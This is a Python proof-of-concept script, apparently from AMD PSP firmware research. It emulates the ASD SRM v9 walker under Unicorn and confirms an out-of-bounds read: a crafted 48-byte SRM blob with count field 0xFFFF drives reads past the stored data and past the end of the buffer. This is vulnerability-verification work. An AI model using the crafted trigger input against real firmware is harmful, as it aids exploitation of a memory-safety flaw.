1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
|
"""PoC: ASD SRM v9 walker (asd_srm_sub_12DB0) reads far past the STORED SRM and
past the END of asd_srm_buf itself.
Bug: the walk length is decoupled from the stored length.
BL asd_srm_sub_10B30 ; fetch stored length
CBZ R0, done ; length used ONLY as a nonzero test
LDR R0, =asd_srm_buf ; length discarded
LDRH R0, [R0,#8] ; count taken from the BLOB
LSRS R6, R0, #6 ; count = buf[8..9] >> 6 -> 0..1023
; loop: memcmp_be(buf+12+5k, ksv, 5), k = 0..count-1
So a MINIMAL 48-byte stored SRM can drive a 1023-record walk covering
buf[12 .. 5126] -- 5078 bytes that were never stored, and 7 bytes past the
end of the 5120-byte buffer.
Method: execute the real ASD code under Unicorn, instrument every memory read,
and report reads beyond the stored length and beyond the buffer. memcmp_be is
deliberately NOT stubbed -- the offending reads happen inside it.
"""
import struct
from unicorn import *
from unicorn.arm_const import *
ELF = '/Users/user/dev/amd-psp-re/psp_out/handover/elf/asd2.elf'
FUNC = 0xD12DB0 # asd_srm_sub_12DB0 (v9 walker)
LEN_F = 0xD10B30 # asd_srm_sub_10B30 (length getter)
BUF = 0xD1F038 # asd_srm_buf
BUFSZ = 5120 # asd_srm_stored_len sits at BUF+5120
STORED = 48 # a MINIMAL legal SRM store (0x308 accepts len >= 48)
raw = open(ELF, 'rb').read()
ph = struct.unpack('<I', raw[28:32])[0]
off, vaddr, paddr, fsz = struct.unpack('<IIII', raw[ph+4:ph+20])
body = raw[off:off+fsz]
uc = Uc(UC_ARCH_ARM, UC_MODE_THUMB)
img_base = vaddr & ~0xFFF
img_end = (vaddr + len(body) + 0xFFF) & ~0xFFF
uc.mem_map(img_base, img_end - img_base)
uc.mem_write(vaddr, body)
STACK = 0x00D50000
uc.mem_map(STACK - 0x8000, 0x10000)
reads = []
def on_read(uc_, access, address, size, value, user):
if BUF <= address < BUF + 0x4000:
reads.append((address - BUF, size))
uc.hook_add(UC_HOOK_MEM_READ, on_read)
# --- the stored blob: MINIMAL and otherwise legitimate --------------------
# Only the first STORED bytes are "stored"; the rest of the buffer is whatever
# was there before. We poison it so reads past the stored data are visible.
uc.mem_write(BUF, b'\xCC' * BUFSZ) # stale/never-stored filler
blob = bytearray(b'\x00' * STORED)
blob[0] = 0x90 # version nibble 9 -> this walker
blob[5], blob[6], blob[7] = 0x00, 0x00, 0x30 # stored length = 48 (nonzero)
blob[8], blob[9] = 0xFF, 0xFF # count = 0xFFFF >> 6 = 1023
uc.mem_write(BUF, bytes(blob))
KSV = 0x00E10000
uc.mem_map(KSV & ~0xFFF, 0x1000)
uc.mem_write(KSV, b'\xAA\xBB\xCC\xDD\xEE')
# only the length getter is stubbed (verified to read buf+5..7); memcmp_be runs for real
def hook_code(uc_, addr, size, user):
if (addr & ~1) == (LEN_F & ~1):
b = uc_.mem_read(BUF + 5, 3)
uc_.reg_write(UC_ARM_REG_R0, (b[0] << 16) | (b[1] << 8) | b[2])
uc_.reg_write(UC_ARM_REG_PC, uc_.reg_read(UC_ARM_REG_LR) | 1)
uc.hook_add(UC_HOOK_CODE, hook_code)
uc.reg_write(UC_ARM_REG_SP, STACK)
uc.reg_write(UC_ARM_REG_R0, KSV)
uc.reg_write(UC_ARM_REG_LR, 0xDEAD0001)
print("buffer : %#x .. %#x (%d bytes)" % (BUF, BUF + BUFSZ, BUFSZ))
print("stored SRM : %d bytes (minimal legal store), count field = 1023" % STORED)
print("predict : walk reads buf[12 .. %d]" % (12 + 5*1023 - 1))
try:
uc.emu_start(FUNC | 1, 0xDEAD0000, timeout=15_000_000, count=4_000_000)
print("walk completed, r0 = %d" % uc.reg_read(UC_ARM_REG_R0))
except UcError as e:
print("emulation stopped:", e)
mx = max((o + s - 1) for o, s in reads) if reads else -1
past_store= [r for r in reads if r[0] >= STORED]
past_buf = [r for r in reads if r[0] + r[1] - 1 >= BUFSZ]
print("\ntotal reads in buffer region : %d" % len(reads))
print("reads BEYOND stored %d bytes : %d" % (STORED, len(past_store)))
print("reads PAST buffer end (%d) : %d" % (BUFSZ, len(past_buf)))
print("max byte offset touched : %d" % mx)
if mx >= BUFSZ:
print(" -> %d bytes PAST the end of asd_srm_buf" % (mx - BUFSZ + 1))
if past_store:
print(" -> %d bytes read that were NEVER STORED" % (mx - STORED + 1))
print()
if mx >= BUFSZ and past_store:
print("*** OUT-OF-BOUNDS READ CONFIRMED (and read beyond stored data) ***")
else:
print("no OOB observed -> finding REFUTED")
|